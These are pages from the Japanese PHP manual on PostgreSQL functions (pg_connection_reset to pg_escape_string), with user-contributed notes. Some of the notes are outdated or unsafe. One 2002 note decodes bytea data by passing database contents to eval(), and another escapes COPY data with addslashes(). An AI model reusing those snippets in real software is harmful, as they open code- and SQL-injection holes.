levi at alliancesoftware dot com dot au 08-Nov-2009 05:00
pg_connection_busy() returning true does not necessarily mean that there are results waiting for pg_get_result(); it also stays true for some time after a query that causes any sort of postgres error. (See http://bugs.php.net/bug.php?id=36469)


接続をリセット(再接続)する

  • ≪ pg_connection_busy
  • pg_connection_status ≫
  • PHP Manual
  • PostgreSQL 関数
  • 接続をリセット(再接続)する

pg_connection_reset

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_connection_reset — 接続をリセット(再接続)する

説明

pg_connection_reset ( resource $connection ) : bool

pg_connection_reset() は接続をリセットします。 エラーからの復旧の際に有用です。

パラメータ

connection

PostgreSQL データベースの接続リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_connection_reset() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $dbconn2 = pg_connection_reset($dbconn);
  if ($dbconn2) {
      echo "reset successful\n";
  } else {
      echo "reset failed\n";
  }
?>

参考

  • pg_connect() - PostgreSQL 接続をオープンする
  • pg_pconnect() - 持続的な PostgreSQL 接続をオープンする
  • pg_connection_status() - 接続ステータスを取得する

User Contributed Notes

There are no user contributed notes for this page.


接続ステータスを取得する

  • ≪ pg_connection_reset
  • pg_consume_input ≫
  • PHP Manual
  • PostgreSQL 関数
  • 接続ステータスを取得する

pg_connection_status

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_connection_status — 接続ステータスを取得する

説明

pg_connection_status ( resource $connection ) : int

pg_connection_status() は、 connection で指定した接続のステータスを返します。

パラメータ

connection

PostgreSQL データベースの接続リソース。

返り値

PGSQL_CONNECTION_OK あるいは PGSQL_CONNECTION_BAD 。

例

例1 pg_connection_status() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $stat = pg_connection_status($dbconn);
  if ($stat === PGSQL_CONNECTION_OK) {
      echo 'Connection status ok';
  } else {
      echo 'Connection status bad';
  }
?>

参考

  • pg_connection_busy() - 接続がビジーかどうか調べる

User Contributed Notes

Anonymous 30-Mar-2018 01:38
The wiki page doesn't currently reflect that, but if you're passing PGSQL_CONNECT_ASYNC to pg_connect, creating the connection won't block and transitions through extra states expressed by those constants.

PGSQL_CONNECTION_AUTH_OK
PGSQL_CONNECTION_AWAITING_RESPONSE
PGSQL_CONNECTION_MADE
PGSQL_CONNECTION_SETENV
PGSQL_CONNECTION_SSL_STARTUP
PGSQL_CONNECTION_STARTED
Mathieu De Zutter 02-Aug-2006 05:45
Being careful with the comparison operators is not enough:

<?php
if (pg_connection_status($link)===PGSQL_CONNECTION_BAD)
   reconnect($link);
?>
The reconnect won't be trigged when $link is null.

The manual is just wrong, there are three return values: PGSQL_CONNECTION_OK, PGSQL_CONNECTION_BAD, null
david dot tulloh at infaze dot com dot au 14-Jun-2005 08:33
I think zytox is incorrect, at least in PHP 5.0.4.
It returns null, but you have to be careful with your comparison operators.

As an example:
<?php
unset($null);
if (pg_connection_status($null)===PGSQL_CONNECTION_OK)
    echo 'this is not called';
if (pg_connection_status($null)==PGSQL_CONNECTION_OK)
    echo 'this is called because NULL==0 is true';
?>
zytox at hotmail dot com 02-Apr-2005 10:34
If the connection variable is NULL this function returns 0 in PHP 5.0.2. Havent figured out any more erratic values for the connection variable but be careful.


接続の入力を読み取る

  • ≪ pg_connection_status
  • pg_convert ≫
  • PHP Manual
  • PostgreSQL 関数
  • 接続の入力を読み取る

pg_consume_input

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_consume_input — 接続の入力を読み取る

説明

pg_consume_input ( resource $connection ) : bool

pg_consume_input() は、データベースサーバーからの 読み取りを待っているすべての入力を消費します。

パラメータ

connection

PostgreSQL の接続リソース。

返り値

エラーが発生しなかった場合 true、 エラーがあった場合 false。 true が返されたからといって、入力が読み取り待機中であるとは限らないことに注意してください。

User Contributed Notes

There are no user contributed notes for this page.


連想配列の値を、SQL 文として実行可能な形式に変換する

  • ≪ pg_consume_input
  • pg_copy_from ≫
  • PHP Manual
  • PostgreSQL 関数
  • 連想配列の値を、SQL 文として実行可能な形式に変換する

pg_convert

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_convert — 連想配列の値を、SQL 文として実行可能な形式に変換する

説明

pg_convert ( resource $connection , string $table_name , array $assoc_array , int $options = 0 ) : array

pg_convert() は、assoc_array の中の値をチェックし、SQL 文の中で使用可能な形式に変換します。 少なくとも assoc_array の要素数以上のカラムを持つ テーブル table_name が存在することが前提条件と なります。assoc_array の要素名が table_name のフィールド名と一致し、また 要素に対応する値はフィールドのデータ型と互換性がなければなりません。 成功した場合に変換後の値の配列、それ以外の場合に false を返します。

注意:

PHP 5.6.0 以降は、boolean 値も受け付けるようになりました。 PostgreSQL の boolean 型に変換します。 boolean 値の文字列表現にも対応しています。 null は、PostgreSQL の NULL に変換します。

PHP 5.6.0 より前のバージョンでは、論理型のフィールドが table_name にあった場合、 対応する assoc_array では定数 true を使用 しないでください。これは文字列 'TRUE' に変換されてしまい、PostgreSQL では論理型として無効な形式になります。代わりに "t"、"true"、"1"、"y"、"yes" のうちのひとつを用いてください。

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

パラメータ

connection

PostgreSQL データベースの接続リソース。

table_name

変換対象となるテーブルの名前。

assoc_array

変換されるデータ。

options

PGSQL_CONV_IGNORE_DEFAULT, PGSQL_CONV_FORCE_NULL あるいは PGSQL_CONV_IGNORE_NOT_NULL の組み合わせ。

返り値

変換された値の配列を返します。エラー時には false を返します。

例

例1 pg_convert() の例

<?php
  $dbconn = pg_connect('dbname=foo');

  $tmp = array(
      'author' => 'Joe Thackery',
      'year' => 2005,
      'title' => 'My Life, by Joe Thackery'
  );

  $vals = pg_convert($dbconn, 'authors', $tmp);
?>

変更履歴

バージョン | 説明
5.6.0 | 実験的な関数ではなくなりました。Boolean/NULL をサポートするようになりました。 未知のデータ型やサポートしていないデータ型は、バリデーションなしにエスケープします。 pg_convert() は任意のデータ型で使えるようになりました。

参考

  • pg_meta_data() - テーブルからメタデータを取得する
  • pg_insert() - テーブルに配列を挿入する
  • pg_select() - レコードを選択する
  • pg_update() - テーブルを更新する
  • pg_delete() - レコードを削除する

User Contributed Notes

VLroyrenn 23-Mar-2018 03:57
Another thing that's not well documented is that (as of PHP 7.0/7.1) pg_convert doesn't like non-scalar types and will fail (but not throw just emit an E_WARNING and return false) if you pass it anything other than a string or a number, including an array or something like a DateTime. If you want to insert those types, you actually have to convert those yourself.

Also, somewhat surprisingly, $table_name is not compatible with the output of pg_?escape_?identifier, or seemingly any other kind of escaping.
Hayley Watson 16-Jul-2017 02:13
This will only apply the appropriate escaping and such appropriate for embedding the PHP value into an SQL statement.

It does (by default) check for nulls when the column is marked NOT NULL, and it will complain about trying to convert strings for an integer column (floats will be truncated).

Beyond the barest checking of syntax, however, it does NOT verify that the given value is a legitimate value for the column type.

<?php
// Assuming smallints.smallintis a smallint (-32768..32767) type column
foreach([-1234,
    1234,
    0,
    32767,
    -32768,
    32768,  // bogus value for smallint type
    45.8,   // gets truncated to 45
    400000, // bogus value for smallint type
    ] as $smallint)
{
    $tmp = ['smallint' => $smallint];
    $vals = pg_convert($dbconn, 'smallints', ['smallint' => $smallint]);
    echo $vals['"smallint"'],"\n";  // Notice the column name is also made SQL-safe
}

// Assuming uuids.uuid is a UUID type column
foreach(['a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11',
    'A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11',
    'a0eebc999c0b4ef8bb6d6bb9bd380a11',
    '{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}',
    'Invalid Not-a-UUID',
    '{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}',
    'a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11',
    ] as $uuid)
{
    $tmp = ['uuid' => $uuid];
    $vals = pg_convert($dbconn, 'uuids', ['uuid' => $uuid]);
    echo $vals['"uuid"'],"\n";
}

?>

All of the above data values will be "converted" - even the invalid ones - without complaint.
gorhas at gmail dot com 07-Oct-2014 08:41
There is a problem when using interval.
If in the array
"time_pause" => '00:30:00'
and time_pause is an interval
the insert fails
pg_insert(): '00:30:00' does not match with  '^(@?[ \t]+)?((([-+]?[ \t]+)?[0-9]+(\.[0-9]*)?[ ...
31-Mar-2004 08:02
The only options that I see are:

PGSQL_CONV_IGNORE_DEFAULT  - Do not use DEAFULT value by removing field from returned array
PGSQL_CONV_FORCE_NULL - Convert to NULL if string is null string
PGSQL_CONV_IGNORE_NOT_NULL  - Ignore NOT NULL constraints

These are constants, so don't quote them or anything.
dharana at dharana dot net 12-May-2003 06:28
I've found "options" possible values:

PG_CONV_CHECK - check only
PG_CONV_STRICT - raise warning for non fatal error
PG_CONV_QUOTE - add quote around values for vchar, text datetime.
PG_CONV_SLASH - add slashes if it needed.
PG_CONV_NULLCHK - check values are defined for NOT NULL fields.
PG_CONV_NO_DEFAULT - ignore default value even if value is empty string.


配列からテーブルに挿入する

  • ≪ pg_convert
  • pg_copy_to ≫
  • PHP Manual
  • PostgreSQL 関数
  • 配列からテーブルに挿入する

pg_copy_from

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_copy_from — 配列からテーブルに挿入する

説明

pg_copy_from ( resource $connection , string $table_name , array $rows , string $delimiter = ? , string $null_as = ? ) : bool

pg_copy_from() は、rows の内容をテーブルに挿入します。レコードを挿入するために、内部では COPY FROM SQL コマンドを発行します。

パラメータ

connection

PostgreSQL データベースの接続リソース。

table_name

rows をコピーするテーブルの名前。

rows

table_name にコピーするデータの配列。 rows の個々の値が table_name のひとつの行となります。rows の個々の値は、 それぞれのフィールドに対応する値が区切り文字で区切られており、最後は 改行で終了していなければなりません。

delimiter

rows の要素内で、各フィールドに対応する値を 区切る文字。デフォルトは TAB です。

null_as

rows の中で、SQL の NULL をどのように表現するか。デフォルトは \N ("\\N") です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_copy_from() の例

<?php
   $db = pg_connect("dbname=publisher") or die("Could not connect");

   $rows = pg_copy_to($db, $table_name);

   pg_query($db, "DELETE FROM $table_name");

   pg_copy_from($db, $table_name, $rows);
?>

参考

  • pg_copy_to() - 配列にテーブルをコピーする

User Contributed Notes

smcbride at msn dot com 29-Jul-2020 05:03
When using this function, don't get bit by the double quote (") vs. single quote (') differences.  It is a small thing, but the error messaging is misleading.  If you use a single quote, you will see the \t separated values all try to be inserted into the first field.

Small consideration, but will save someone who is working late and can't get these functions to work.
karlo dot petravic at hotmail dot com 02-Jul-2019 08:20
As table name you can also specify columns you want imported.

Will import all columns:
<?php
pg_copy_from($db, 'cpm.ics', $rows);
?>

Will import only specified columns:
<?php
pg_copy_from($db, 'cpm.ics (type, product, date, count, amount)', $rows);
?>
Dave 25-Feb-2014 08:26
Default is "\\\N" not "\\N" at least in php 5.4

pg_copy_from($db, $table_name, "\t", "\\\N")
Dave 26-Jan-2012 10:40
As of postgresql 9.1 "standard_conforming_strings" is set to on

This will not work anymore
<?php
$copy_message = "1\t\\N\t300";
pg_copy_from($db, "message", $copy_message);
?>
result will be a "N" in that field. if the field allow text that is else it will fail to insert the post.

simple fix
<?php
$copy_message = "1\t\\NULL\t300";
pg_copy_from($db, "message", $copy_message, "\t","\\NULL");
?>
Dave 18-Feb-2011 02:39
Fix for "Copy command failed: ERROR: literal carriage return
found in data" or
"Copy command failed: ERROR: missing data for column
"message" CONTEXT: COPY message, line 1:"

<?php
$message = "HEJ\rHEJ\nHEJ\r\nHEJ\n\rHEJ\tHELLO\\";

$message = addslashes($message);

$message = str_replace(
  array("\n","\r","\t"),
  array("\\n","\\r","\\t"),
  $message);

$copy_message = "1\t". $message ."\t300";

pg_copy_from($db, "message", $copy_message);
?>
Anonymous 11-Jun-2009 03:08
see also: pg_put_line for a solution that does not require buffering of all the data to be copied,
kapouer_php at melix dot org 26-Aug-2007 02:24
pg syntax is :
COPY test (cola, colb, colc) FROM stdin;
...

this function doesn't let you in which order the columns are !
vlad at php dot net 19-Mar-2003 01:38
By default NULL values are a backslash followed with capital N ("\\N").

Also, you can't insert entries with OIDs (I've added it to my TODO list though)
carl at thep.lu.se 10-Sep-2002 03:06
Something needs to be said about the format of the array.
Judging by what I've seen, it's pretty much what you get
from loading a tab-separated file with file(). That is, the
lines are linefeed-terminated and there's no need to have
an extra line with "\.". On the other hand, when I try using this
command the connection to the server ends up in some odd
state and is then lost:
PHP Warning:  U?S?o() query failed: server closed the connection unexpectedly

I think it might be safer to use the lower-level function
pg_put_line() for now.


配列にテーブルをコピーする

  • ≪ pg_copy_from
  • pg_dbname ≫
  • PHP Manual
  • PostgreSQL 関数
  • 配列にテーブルをコピーする

pg_copy_to

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_copy_to — 配列にテーブルをコピーする

説明

pg_copy_to ( resource $connection , string $table_name , string $delimiter = ? , string $null_as = ? ) : array

pg_copy_to() は、テーブルを配列にコピーします。 レコードを取得するために、内部では COPY TO SQL コマンドを発行します。

パラメータ

connection

PostgreSQL データベースの接続リソース。

table_name

データを rows にコピーするテーブルの名前。

delimiter

rows の要素内で、各フィールドに対応する値を 区切る文字。デフォルトは TAB です。

null_as

rows の中で、SQL の NULL をどのように表現するか。デフォルトは \N ("\\N") です。

返り値

COPY されたデータが 1 行ごとにひとつの要素と なっている配列を返します。失敗した場合には false を返します。

例

例1 pg_copy_to() の例

<?php
   $db = pg_connect("dbname=publisher") or die("Could not connect");

   $rows = pg_copy_to($db, $table_name);

   pg_query($db, "DELETE FROM $table_name");

   pg_copy_from($db, $table_name, $rows);
?>

参考

  • pg_copy_from() - 配列からテーブルに挿入する

User Contributed Notes

John M 12-Aug-2020 05:41
Worth noting here that just like the COPY TO statement in PostgreSQL, '$table_name' can include a list of columns or be a select query as well.
e.g.:
$rows = pg_copy_to($db,'schema."TableName" (column1, column2, ...)';
$rows = pg_copy_to($db,'(SELECT ...)');
etiger13 at gmail dot com 17-Nov-2009 11:14
You cannot specify the schema name in this command. You can change the search path for just one query by using the following code:

<?php
pg_query($conn, "SET search_path TO myschema;");

$copy_to = pg_copy_to($conn, 'tablename');

pg_query("RESET search_path;");
?>
setantae at submonkey dot net 27-Nov-2002 10:50
"It issues COPY TO SQL command internally to insert records"

I suspect this statement is incorrect, or that s/insert/retrieve/ is appropriate.


データベース名を取得する

  • ≪ pg_copy_to
  • pg_delete ≫
  • PHP Manual
  • PostgreSQL 関数
  • データベース名を取得する

pg_dbname

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_dbname — データベース名を取得する

説明

pg_dbname ( resource $connection = ? ) : string

pg_dbname() は、 PostgreSQL connection リソースで指定した データベースの名前を返します。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

connection が指すデータベースの名前を表す 文字列を返します。エラー時には false を返します。

例

例1 pg_dbname() の例

<?php
  error_reporting(E_ALL);

  pg_connect("host=localhost port=5432 dbname=mary");
  echo pg_dbname(); // mary
?>

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 12:37
This function is as simple as it sounds, it returns the name of the database your are currently connected to on the handle retrieved from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to database: " . pg_dbname($pgsql_conn) .
         " on " .  pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

[mark@prodigy][*][~/public_html/php]>>>php pg_dbname.php
Content-type: text/html
X-Powered-By: PHP/4.3.1

Successfully connected to database: mark on localhost<br/>

Again this function is much more useful when you are changing which database you are connected to in your program.

Regards,  --mark


レコードを削除する

  • ≪ pg_dbname
  • pg_end_copy ≫
  • PHP Manual
  • PostgreSQL 関数
  • レコードを削除する

pg_delete

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_delete — レコードを削除する

説明

pg_delete ( resource $connection , string $table_name , array $assoc_array , int $options = PGSQL_DML_EXEC ) : mixed

pg_delete() は、assoc_array で指定したキーと値を用いてテーブルからレコードを削除します。

options が指定された場合、指定したオプションを つけて pg_convert() が assoc_array に適用されます。

デフォルトでは、 pg_update() は生の値を渡します。 値はエスケープするか、PGSQL_DML_ESCAPE オプションを指定しなければいけません。 PGSQL_DML_ESCAPE はパラメータや識別子をクォートし、エスケープします。 よって、テーブル/カラム名は大文字小文字を区別します。

エスケープやプリペアドクエリであっても、 LIKE, JSON, Array, Regex などのクエリを守れない可能性があることに注意してください。 これらのパラメータはコンテクストに応じて処理されるべきです。 たとえば、値をエスケープ/検証する処理を行うことなどです。

パラメータ

connection

PostgreSQL データベースの接続リソース。

table_name

行を削除するテーブルの名前。

assoc_array

そのキーが table_name テーブルのフィールド名、 値が削除したいフィールドの値となっている配列。

options

PGSQL_CONV_FORCE_NULL、 PGSQL_DML_NO_CONV、 PGSQL_DML_ESCAPE、 PGSQL_DML_EXEC、 PGSQL_DML_ASYNC あるいは PGSQL_DML_STRING を組み合わせた数。 options に PGSQL_DML_STRING が含まれている場合、クエリ文字列が返されます。 PGSQL_DML_NO_CONV あるいは PGSQL_DML_ESCAPE が設定されている場合は、内部的に pg_convert() を呼びません。

返り値

成功した場合に true を、失敗した場合に false を返します。 options で PGSQL_DML_STRING が渡された場合は文字列を返します。

例

例1 pg_delete() の例

<?php
  $db = pg_connect('dbname=foo');
  // これは少しだけ安全です。なぜなら、全ての値がエスケープされるからです。
  // しかし、PostgreSQL は JSON/Array をサポートしています。これらの型に
  // ついてはエスケープされたクエリや、プリペアドクエリでも安全ではありません。
  $res = pg_delete($db, 'post_log', $_POST, PG_DML_ESCAPE);
  if ($res) {
      echo "POST data is deleted: $res\n";
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

参考

  • pg_convert() - 連想配列の値を、SQL 文として実行可能な形式に変換する

User Contributed Notes

27-Apr-2004 03:47
One should take care when checking the return value.
0 == false which is not equal with failed delete.

if(!$res)
  echo "Nothing was deleted";


PostgreSQL バックエンドと同期する

  • ≪ pg_delete
  • pg_escape_bytea ≫
  • PHP Manual
  • PostgreSQL 関数
  • PostgreSQL バックエンドと同期する

pg_end_copy

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_end_copy — PostgreSQL バックエンドと同期する

説明

pg_end_copy ( resource $connection = ? ) : bool

pg_end_copy() は、pg_put_line() によるコピー操作の後で PostgreSQL フロントエンド（通常は Web サーバー プロセス）と PostgreSQL サーバーを同期させます。 pg_end_copy() を実行しなければ、PostgreSQL サーバーが フロントエンドとの同期を失ってしまい、エラーが発生します。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_end_copy() の例

<?php
  $conn = pg_pconnect("dbname=foo");
  pg_query($conn, "create table bar (a int4, b char(16), d float8)");
  pg_query($conn, "copy bar from stdin");
  pg_put_line($conn, "3\thello world\t4.5\n");
  pg_put_line($conn, "4\tgoodbye world\t7.11\n");
  pg_put_line($conn, "\\.\n");
  pg_end_copy($conn);
?>

参考

  • pg_put_line() - NULL で終わる文字列を PostgreSQL バックエンドに送信する

User Contributed Notes

There are no user contributed notes for this page.


bytea フィールドに挿入するために文字列をエスケープする

  • ≪ pg_end_copy
  • pg_escape_identifier ≫
  • PHP Manual
  • PostgreSQL 関数
  • bytea フィールドに挿入するために文字列をエスケープする

pg_escape_bytea

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_escape_bytea — bytea フィールドに挿入するために文字列をエスケープする

説明

pg_escape_bytea ( resource $connection = ? , string $data ) : string

pg_escape_bytea() は、bytea 型のために文字列を エスケープし、エスケープした文字列を返します。

注意:

bytea 型を SELECT した場合、PostgreSQL は '\' で 始まる 8 進数のバイト値（例: \032）を返します。これをユーザーが手動で コンバートすることを期待されています。

この関数は PostgreSQL 7.2 以降のバージョンを必要とします。PostgreSQL 7.2.0 および 7.2.1 では、マルチバイトのサポートを有効にした場合は bytea の値をキャストする必要があります。例: INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea); PostgreSQL 7.2.2 以降ではキャストする必要はありません。 クライアントとバックエンドの文字エンコーディングが一致しない場合は 例外で、この場合はマルチバイトストリームエラーが発生します。この エラーを避けるためには bytea 型へのキャストが必要になります。

パラメータ

connection

PostgreSQL データベース接続リソース。 connection が存在しない場合は、 デフォルトの接続を使用します。デフォルトの接続は、 pg_connect() あるいは pg_pconnect() で直近に作成されたものとなります。

data

bytea 型のカラムに挿入するテキストまたはバイナリデータを含む 文字列。

返り値

エスケープされたデータを文字列で返します。

例

例1 pg_escape_bytea() の例

<?php
  // データベースに接続する
  $dbconn = pg_connect('dbname=foo');

  // バイナリファイルを読み込む
  $data = file_get_contents('image1.jpg');

  // バイナリデータをエスケープする
  $escaped = pg_escape_bytea($data);

  // それをデータベースに挿入する
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', '{$escaped}')");
?>

参考

  • pg_unescape_bytea() - bytea 型のバイナリをアンエスケープする
  • pg_escape_string() - クエリに使う文字列をエスケープする

User Contributed Notes

Hayley Watson 17-Jul-2017 02:56
PostgreSQL 9.0 introduced a new hexadecimal-based representation for bytea data that is preferred over the escaping mechanism implemented by this function.

<?php
function pg_escape_byteahex($binary)
{
    return "E'\\\\x".bin2hex($binary)."'";
}
?>
Michael 12-Mar-2014 03:10
using  pg_escape_bytea without 'E' escape tag
<?php
  // Die Binardaten maskieren
  $escaped = pg_escape_bytea($data);

  // und in die Datenbank einfugen (falsch/wrong)
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', E'$escaped')");

  // und in die Datenbank einfugen (richtig/right)
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', '$escaped')");
?>
Mike-RaWare 08-Jul-2010 02:03
To prevent any problems with encoding you could use hexadecimal or base64 input to save and retrieve data to the database:

<?php
  // Connect to the database
  $dbconn = pg_connect( 'dbname=foo' );

  // Read in a binary file
  $data = file_get_contents( 'image1.jpg' );

  // Escape the binary data
  $escaped = bin2hex( $data );

  // Insert it into the database
  pg_query( "INSERT INTO gallery (name, data) VALUES ('Pine trees', decode('{$escaped}' , 'hex'))" );

  // Get the bytea data
  $res = pg_query("SELECT encode(data, 'base64') AS data FROM gallery WHERE name='Pine trees'");
  $raw = pg_fetch_result($res, 'data');

  // Convert to binary and send to the browser
  header('Content-type: image/jpeg');
  echo base64_decode($raw);
?>
gglockner AT NOSPAMdwaffler DOT com 17-Jul-2009 02:13
If you're getting errors about nonstandard use of \\ in a string literal, then you need to escape the encoded bytea as follows:

<?php
$escaped = pg_escape_bytea($data);
pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', E'$escaped'::bytea)");
?>
ynzhang from lakeheadu of ca 18-Feb-2009 01:44
The reason pg_unescape_bytea() do not exactly reproduce the binary data created by pg_escape_bytea() is because the backslash \ and single quote ' are double escaped by the pg_escape_bytea() function. This will lead to image seems corrupted when retrieve from the bytea field. The proper way to escape&unescape a binary string into a PG bytea field as follow:

<?php
$escaped_data = str_replace(array("\\\\", "''"), array("\\", "'"), pg_escape_bytea($data));
/* and later unescape the escaped data from the bytea field with following to get the original binary data */

$original_data = pg_unescape_bytea($escaped_data));
?>

more details at: http://archives.postgresql.org/pgsql-php/2007-02/msg00014.php
Mocha 07-Aug-2003 05:20
to unescape_bytea use stripcslashes(). If you need to escape bytea and don't have pg_escape_bytea() function then use:

<?php
function escByteA($binData) {
  /**
   * \134 = 92 = backslash, \000 = 00 = NULL, \047 = 39 = Single Quote
   *
   * str_replace() replaces the searches array in order. Therefore, we must
   * process the 'backslash' character first. If we process it last, it'll
   * replace all the escaped backslashes from the other searches that came
   * before.
   */
  $search = array(chr(92), chr(0), chr(39));
  $replace = array('\\\134', '\\\000', '\\\047');
  $binData = str_replace($search, $replace, $binData);
  return $binData;
  //echo "<pre>$binData</pre>";
  //exit;
}
?>
php at tobias dot olsson dot be 17-Aug-2002 09:56
if you need to change back bytea from the db to normal data, this will do that:

<?php
function pg_unescape_bytea($bytea) {
return eval("return \"".str_replace('$', '\\$', str_replace('"', '\\"', $bytea))."\";");
}

// use like this
$rs = pg_query($conn, "SELECT image from images LIMIT 1");
$image = pg_unescape_bytea(pg_fetch_result($rs, 0, 0));
?>

/Tobias


テキスト型フィールドに挿入するために、識別子をエスケープする

  • ≪ pg_escape_bytea
  • pg_escape_literal ≫
  • PHP Manual
  • PostgreSQL 関数
  • テキスト型フィールドに挿入するために、識別子をエスケープする

pg_escape_identifier

(PHP 5 >= 5.4.4, PHP 7, PHP 8)

pg_escape_identifier — テキスト型フィールドに挿入するために、識別子をエスケープする

説明

pg_escape_identifier ( resource $connection = ? , string $data ) : string

pg_escape_identifier() は、データベースへの問い合わせに使う識別子 (テーブル名やフィールド名など) をエスケープします。 PostgreSQL サーバー用にエスケープされた識別子を返します。 pg_escape_identifier() は、データの前後にダブルクォートを追加します。 ユーザーが自分で追加してはいけません。 この関数は、クエリ内で使う識別子のパラメータに有用です。SQL リテラル (bytea 以外のパラメータ) には、pg_escape_literal() あるいは pg_escape_string() を使わなければなりません。 bytea 型のフィールドには、pg_escape_bytea() を使わなければなりません。

注意:

この関数は内部的なエスケープコードを使い、PostgreSQL 8.4 より前のバージョンでも使えます。

パラメータ

connection

PostgreSQL データベース接続リソース。 connection が存在しない場合は、 デフォルトの接続を使用します。デフォルトの接続は、 pg_connect() あるいは pg_pconnect() で直近に作成されたものとなります。

data

エスケープするテキスト文字列。

返り値

エスケープされたデータを文字列で返します。

例

例1 pg_escape_identifier() の例

<?php
  // データベースに接続します
  $dbconn = pg_connect('dbname=foo');

  // テーブル名をエスケープします
  $escaped = pg_escape_identifier($table_name);

  // $table_name から行を取得します
  pg_query("SELECT * FROM {$escaped};");
?>

参考

  • pg_escape_literal() - テキスト型フィールドに挿入するために、リテラルをエスケープする
  • pg_escape_bytea() - bytea フィールドに挿入するために文字列をエスケープする
  • pg_escape_string() - クエリに使う文字列をエスケープする

User Contributed Notes

There are no user contributed notes for this page.


テキスト型フィールドに挿入するために、リテラルをエスケープする

  • ≪ pg_escape_identifier
  • pg_escape_string ≫
  • PHP Manual
  • PostgreSQL 関数
  • テキスト型フィールドに挿入するために、リテラルをエスケープする

pg_escape_literal

(PHP 5 >= 5.4.4, PHP 7, PHP 8)

pg_escape_literal — テキスト型フィールドに挿入するために、リテラルをエスケープする

説明

pg_escape_literal ( resource $connection = ? , string $data ) : string

pg_escape_literal() は、 PostgreSQL データベースへの問い合わせに使うリテラルをエスケープします。 PostgreSQL フォーマットでエスケープされたリテラルを返します。 pg_escape_literal() は、データの前後にクォートを追加します。 ユーザーが自分で追加してはいけません。 pg_escape_string() ではなくこの関数を使うことを推奨します。 カラム型が bytea の場合は、代わりに pg_escape_bytea() を使わなければなりません。 識別子 (テーブル名やフィールド名など) のエスケープには pg_escape_identifier() を使わなければなりません。

注意:

この関数は内部的なエスケープコードを使い、PostgreSQL 8.4 より前のバージョンでも使えます。

パラメータ

connection

PostgreSQL データベース接続リソース。 connection が存在しない場合は、 デフォルトの接続を使用します。デフォルトの接続は、 pg_connect() あるいは pg_pconnect() で直近に作成されたものとなります。 デフォルトの接続がない場合は、E_WARNING が発生して false を返します。

data

エスケープするテキスト文字列。

返り値

エスケープされたデータを文字列で返します。

例

例1 pg_escape_literal() の例

<?php
  // データベースに接続します
  $dbconn = pg_connect('dbname=foo');

  // (アポストロフィやバックスラッシュが含まれている) テキストファイルを読み込みます
  $data = file_get_contents('letter.txt');

  // テキストデータをエスケープします
  $escaped = pg_escape_literal($data);

  // それをデータベースに挿入します。{$escaped} の前後にクォートがないことに注目
  pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', {$escaped})");
?>

参考

  • pg_escape_identifier() - テキスト型フィールドに挿入するために、識別子をエスケープする
  • pg_escape_bytea() - bytea フィールドに挿入するために文字列をエスケープする
  • pg_escape_string() - クエリに使う文字列をエスケープする

User Contributed Notes

There are no user contributed notes for this page.


クエリに使う文字列をエスケープする

  • ≪ pg_escape_literal
  • pg_execute ≫
  • PHP Manual
  • PostgreSQL 関数
  • クエリに使う文字列をエスケープする

pg_escape_string

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_escape_string — クエリに使う文字列をエスケープする

説明

pg_escape_string ( resource $connection = ? , string $data ) : string

pg_escape_string() は、データベースへの問い合わせに使う文字列をエスケープします。 PostgreSQL フォーマットにエスケープされた文字列を、クォートなしの形式で返します。 PostgreSQL に使う SQL パラメータをエスケープするときには pg_escape_literal() を使うほうがよいでしょう。 addslashes() を PostgreSQL で使ってはいけません。 カラム型が bytea の場合は、代わりに pg_escape_bytea() を使わなければなりません。 識別子 (テーブル名やフィールド名など) のエスケープには pg_escape_identifier() を使わなければなりません。

注意:

この関数は、PostgreSQL 7.2 以降が必要です。

パラメータ

connection

PostgreSQL データベース接続リソース。 connection が存在しない場合は、 デフォルトの接続を使用します。デフォルトの接続は、 pg_connect() あるいは pg_pconnect() で直近に作成されたものとなります。

data

エスケープするテキスト文字列。

返り値

エスケープされたデータを文字列で返します。

例

例1 pg_escape_string() の例

<?php
  // データベースに接続する
  $dbconn = pg_connect('dbname=foo');

  // テキストファイルを読み込む（アポストロフィやスラッシュが含まれている）
  $data = file_get_contents('letter.txt');

